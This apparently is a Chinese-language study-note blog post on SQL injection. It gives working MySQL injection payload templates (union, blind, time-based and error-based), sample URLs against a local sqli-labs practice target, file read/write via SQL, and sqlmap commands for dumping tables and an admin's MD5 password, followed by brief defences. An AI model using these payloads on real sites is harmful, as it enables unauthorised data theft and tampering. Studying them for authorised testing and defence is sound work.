zoukankan      html  css  js  c++  java
  • sql注入总结

    # SQL注入总结

    [TOC]



    ## 基础调查

    ### 什么是OWASP Top 10?

    OWASP是指Open Web Application Security Project的缩写,是一个致力于保护web应用安全的公益性组织,该组织每隔几年会发布对于web应用影响最大的前10类漏洞,这些漏洞类型被称为OWASP Top 10。

    ### 什么是渗透测试?

    模拟黑客攻击对目标系统的漏洞进行**授权**测试,帮助客户发现系统的漏洞薄弱点。

    ### 数据库结构

    ### DBMS和DB的区别?

    ## SQLi模板

    ## SQLi?

    攻击者通过将构造的SQL payload附加到前端原本提交的参数中,导致后台拼接后的SQL语句被数据库执行,产生预期外效果。

    ## SQLi危害?

    合适的情况下:

    1. 从技术上来说:未授权、非法增删改查数据库内容,包括窃取信息、删除数据库、读写系统文件等等;
    2. 从影响上来说:客户数据丢失、系统交易数据被篡改、网站首页被篡改。

    ## SQLi分类?

    总体来说分两类:数字型注入和字符型注入。

    按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。

    ## SQLi原理

    后端采用不安全的数据库连接方式,导致前台构造的SQL语句被后台DBMS执行,通过DBMS的能力产生危害。

    ## 如何发现SQLi?

    确认是否是动态网站

    找到可能与后台数据库产生交互的位置,测试是否是注入点。

    ## SQLi的利用步骤?

    ### 增删改查

    > 步骤1:找注入点
    >
    > 步骤1.1:猜测后台SQL语句
    >
    > 步骤2:判断注入类型及闭合符
    >
    > 首先判断注入位置(http头部注入需要用到burp或者其他http客户端如python的requests库)、数字型还是字符型:    2-1
    >
    > 其次判断是否盲注、盲注类型、判断字符型的闭合符号:'和"都去试,找出包含的引号类别(避免重新测试不存在的引号)、加上注释符、加括号。
    >
    > 步骤3:判断后台查询列数
    >
    > 关键语法:order by
    >
    > ```
    > %23    url编码->    #
    > +    url编码->    {空格}
    > ```
    >
    > 步骤4:找显示位
    >
    > 关键语法:union select 1,2,3……
    >
    > 步骤5:查库名
    >
    > > 1. 联合查询注入使用:SELECT database();
    > > 布尔盲注使用:
    > >
    > > - 判断长度:len(database()) > 3
    > >
    > > - 判断各个位置字符:ascii()、substr()
    > > ord()、mid()
    > > 2. 延时盲注(延时注入):
    > >   sleep()
    > >   使用条件:能不使用就尽量不使用,仅仅在注入不同payload后返回相同http*响应包*时使用。
    > >
    > >   模板一:and if(ascii(substr((payload),1,1))>115,0,sleep(5)) --+  
    > >
    > >   模板二:and (sleep(5) and bool_payload);
    > >
    > > 3. 报错注入
    > >        原理1——薛定谔之报错注入
    > >        双(查询)注入,又称floor报错注入,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
    > >        1、union select count(*),1, concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
    > >        2、and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
    > >        限制:输出字符长度限制为64个字符
    > >        原理2
    > >        updatexml报错注入:MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
    > >        限制1:输出字符长度限制为32个字符
    > >        限制2:仅payload返回的不是xml格式,才会生效
    > >        原理3
    > >        ExtractValue报错注入:执行模板1: and extractvalue('anything',concat('/',(Payload)))将报错,不推荐使用。
    > >
    > >      模板二:union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23,不存在丢失报错成果的情况。
    > >
    > >        限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
    > >        地址1
    > >        http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
    > >        地址2
    > >        http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
    > >        地址3
    > >        http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))%23
    >
    > 步骤6:查表名
    >
    > ```sql
    > 联合注入:SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名";
    >
    > 盲注:
    > 1、判断查询结果字符串长度:length((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"))=29
    > 2、循环判断查询字符串每一个字符:SELECT(ascii(substr((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"),1,1))=101)
    > ```
    >
    > 步骤7:查列名
    >
    > ```sql
    > SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "库名" AND TABLE_NAME = "表名"
    > ```
    >
    > 步骤8:查记录
    >
    > 根据表结构查数据SELECT a FROM t_b WHERE xxxx;

    ### 读写文件

    #### 读文件

    select load_file("PATH");

    load data infile()

    system cat

    #### 写文件

    SELECT “123” INTO OUTFILE “c:/123.txt";

    要使用联合查询写文件,不能使用and或者or拼接写文件

    读文件

    ## 工具使用

    ### SQLMap

    #### 安装SQLMap

    安装python2.7

    拷贝SQLMap目录

    cmd进入SQLMap目录运行SQLMap

    #### GET数字型注入利用过程示范

    ##### 寻找注入点

    截取访问连接:

    得到注入点:http://xxxx

    ##### 查询库名

    打开cmd,切换当前目录到D:SQLMAP

    执行命令:python sqlmap.py -u "注入点" --current-db

    ##### 指定库名查表名

    执行命令:python sqlmap.py -u "注入点" -D 库名 --table

    ##### 指定库名、表名查列名

    执行命令:python sqlmap.py -u "注入点" -D 库名 -T 表名 --column

    ##### 获取sql-shell

    执行命令:python sqlmap.py -u "注入点" --sql-shell

    获得sql-shell提示符

    ##### 查记录

    前面步骤获取到表结构后,在sql-shell提示符后面输入SQL语句查询记录:

    select username, password from t_admin;

    获得管理员账号记录:

    账号:admin

    md5(密码):xxxx

    ##### 反查密码

    访问cmd5.com,输入md5(密码)查询,得知密码为:xxx

    #### POST注入利用方式

    - --form

    - --data “var1=parm1&var2=parm2"

    - -r "request.txt"

    ## SQLi如何防御或修复

    1. 正确地采用安全的数据库连接方式,如php中的PDO或MySQLi

    2. 采用成熟的防注入的框架(参考OWASP网站、或者Discuzz及WordPress等的防注入手段)

    3. 细节上:

       - 对于提交的数字型参数,需严格限定数据类型;
       - 特殊的字符转义
       - 避免存储过程出现注入

  • 相关阅读:
    HBase api
    使用memcached缓存 替代solr中的LRUCache缓存
    Solrj
    在Solr中配置中文分词IKAnalyzer
    (转载)怎样让自己内心强大起来?
    (转载)Linux一句话精彩
    (转载)C++创建对象的两种方法
    (转载)puremvc框架之proxy
    (转载)AS3领航系列教程 之 AS3程序的入口
    (转载)Flash Number 数据类型
  • 原文地址:https://www.cnblogs.com/gx991010/p/12980709.html
Copyright © 2011-2022 走看看